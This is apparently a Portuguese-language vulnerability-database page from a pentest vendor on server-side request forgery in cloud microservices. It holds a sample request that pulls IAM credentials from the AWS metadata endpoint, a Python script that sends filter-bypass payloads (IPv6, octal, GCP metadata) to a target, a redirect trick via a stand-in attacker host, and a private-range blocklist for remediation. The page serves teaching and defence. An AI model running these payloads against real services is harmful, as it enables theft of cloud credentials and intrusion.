← Base de Vulnerabilidades
Arquitetura Cloud A10:2021-Server-Side Request Forgery CVSS 8.8

SSRF — Falsificação de Requisição do Lado do Servidor

SSRF em microsserviços Cloud permite ler credenciais IAM do AWS via metadata endpoint. Veja bypass de filtros e como proteger sua infraestrutura.

Comum em: Funções de webhook, preview de URL, conversão de PDF, importação de arquivos externos · Dificuldade: Média — requer conhecimento de metadados cloud

O Que É SSRF

Server-Side Request Forgery (SSRF) permite que um atacante force o servidor da aplicação a fazer requisições HTTP para destinos arbitrários — incluindo serviços internos, metadados de cloud (AWS IMDSv1, GCP metadata server) e outros microsserviços protegidos por firewall. Em arquiteturas de microsserviços, um SSRF vira pivô para comprometimento total da infra.

Exemplo Real de Ataque

HTTP Request / Response
POST /api/v1/preview
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"}

HTTP/1.1 200 OK
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalrXUtnFEMI...",
  "Token": "AQoDYXdzEJr..."
}

Script de Exploração

⚠ Apenas para uso em ambientes autorizados
# Bypass de allowlist via DNS rebinding
# 1. Configure DNS para responder com IP público, depois trocar para 169.254.x.x
# 2. Use redirecionamentos: https://attacker.com/redirect?to=http://internal

import requests

ENDPOINT = "https://target.com.br/api/v1/preview"

payloads = [
    "http://169.254.169.254/latest/meta-data/",
    "http://[::ffff:169.254.169.254]/latest/meta-data/",  # IPv6 bypass
    "http://0251.0376.0251.0376/latest/meta-data/",       # Octal bypass
    "http://metadata.google.internal/computeMetadata/v1/",
]

for p in payloads:
    r = requests.post(ENDPOINT, json={"url": p})
    if r.status_code == 200 and "AccessKeyId" in r.text:
        print(f"[SSRF RCE CHAIN] {p}: {r.text[:200]}")

Impacto no Negócio e Compliance

Em cloud (AWS/GCP/Azure): roubo de credenciais IAM via http://169.254.169.254/latest/meta-data/, comprometimento de clusters EKS/GKE, execução de comandos em outros microsserviços. Em on-prem: acesso a serviços internos (Redis, Elasticsearch, bancos de dados) não expostos publicamente. CVSS 8.8 — impacto crítico.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Como Remediar

# ✅ REMEDIAÇÃO: Allowlist rigorosa + bloqueio de ranges privados
import ipaddress
from urllib.parse import urlparse

BLOCKED_RANGES = [
    ipaddress.IPv4Network("169.254.0.0/16"),  # Link-local
    ipaddress.IPv4Network("10.0.0.0/8"),       # RFC 1918
    ipaddress.IPv4Network("172.16.0.0/12"),
    ipaddress.IPv4Network("192.168.0.0/16"),
    ipaddress.IPv4Network("127.0.0.0/8"),
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        return False
    # Resolve DNS e valide IP
    import socket
    ip = socket.gethostbyname(parsed.hostname)
    ip_obj = ipaddress.IPv4Address(ip)
    return not any(ip_obj in net for net in BLOCKED_RANGES)

Como a Veyronn Detecta Esta Vulnerabilidade

Utilizamos listeners OOB (Out-of-Band) em nossa infraestrutura para detectar callbacks cegos (Blind SSRF) e validamos acesso a metadados cloud com probes reais. Testamos bypass de allowlists via DNS rebinding, redirecionamentos e encoding.

Pronto para Contratar seu Próximo Pentest?

Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.